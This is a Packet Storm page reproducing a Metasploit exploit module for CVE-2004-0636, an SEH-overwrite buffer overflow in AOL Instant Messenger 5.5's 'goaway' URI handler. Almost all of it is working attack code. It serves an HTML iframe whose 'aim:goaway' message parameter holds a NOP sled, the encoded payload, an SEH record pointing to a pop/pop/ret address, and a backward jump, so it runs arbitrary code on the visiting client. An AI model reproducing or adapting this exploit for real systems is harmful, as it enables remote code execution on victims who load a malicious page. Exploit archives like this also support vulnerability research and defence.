AOL Instant Messenger goaway Overflow

2009-11-2600:00:00

skape

packetstormsecurity.com

EPSS

0.93

Percentile

99.1%

JSON

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
#  
# This module acts as an HTTP server and exploits an SEH overwrite  
#  
include Msf::Exploit::Seh  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AOL Instant Messenger goaway Overflow',  
'Description' => %q{  
This module exploits a flaw in the handling of AOL Instant  
Messenger's 'goaway' URI handler. An attacker can execute   
arbitrary code by supplying a overly sized buffer as the   
'message' parameter. This issue is known to affect AOL Instant   
Messenger 5.5.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'skape',   
'thief <[email protected]>'   
],  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2004-0636' ],  
[ 'OSVDB', '8398' ],  
[ 'BID', '10889'],  
[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],  
],  
'Payload' =>  
{  
'Space' => 1014,  
'MaxNops' => 1014,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
# Target 0: Automatic  
[  
'Windows NT/2000/XP/2003 Automatic',  
{  
'Platform' => 'win',  
'Rets' =>  
[  
0x1108118f, # proto.com: pop/pop/ret  
],  
},  
],  
],  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Build out the message  
msg =   
make_nops(1014 - p.encoded.length) + # NOP sled before the payload  
p.encoded + # store the payload  
generate_seh_record(target['Rets'][0]) + # set up the SEH frame  
"\x90\xe9\x13\xfc\xff\xff" # jmp -1000  
  
# Build the HTML content  
content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)   
end  
  
end  
`

EPSS

0.93

Percentile

99.1%

JSON

Related for PACKETSTORM:83145